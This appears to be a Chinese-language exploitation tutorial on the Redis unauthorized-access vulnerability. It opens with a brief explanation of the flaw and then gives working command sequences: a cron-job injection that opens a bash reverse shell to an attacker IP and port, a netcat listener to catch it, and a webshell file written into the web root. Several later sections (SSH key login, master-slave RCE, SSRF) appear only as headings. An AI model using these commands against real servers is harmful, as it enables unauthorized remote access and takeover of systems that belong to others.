redis未授权访问漏洞复现

1. 漏洞简介

Redis 默认情况下，会绑定在 0.0.0.0:6379，如果没有进行采用相关的策略，比如添加防火墙规则避免其他非信任来源 ip 访问等，这样将会将 Redis 服务暴露到公网上，如果在没有设置密码认证（一般为空）的情况下，会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。

攻击者通过未授权访问漏洞，利用 Redis 自身的 config 命令，可以登录目标服务器、添加计划任务、写入 Webshell 等操作。

以下操作都是在已存在 Redis 未授权访问漏洞的前提下进行的

2. 利用计划任务反弹 shell

连接工具：https://github.com/caoxinyu/RedisClient/releases

https://github.com/dmajkic/redis/downloads

在连接到漏洞的受害主机上运行：

Copy
set xx "\n* * * * * bash -i >& /dev/tcp/IP地址/端口 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save

在本地运行：

Copy
nc -lvnp 端口

3. Redis 写 webshell

Copy
config set dir /var/www/html
config set dbfilename test123.php
set webshell "<?php phpinfo(); ?>"
save

4. Redis 密钥登录 ssh

5. 利用主从复制 RCE

6. ssrf redis 反弹 shell

7. 参考视频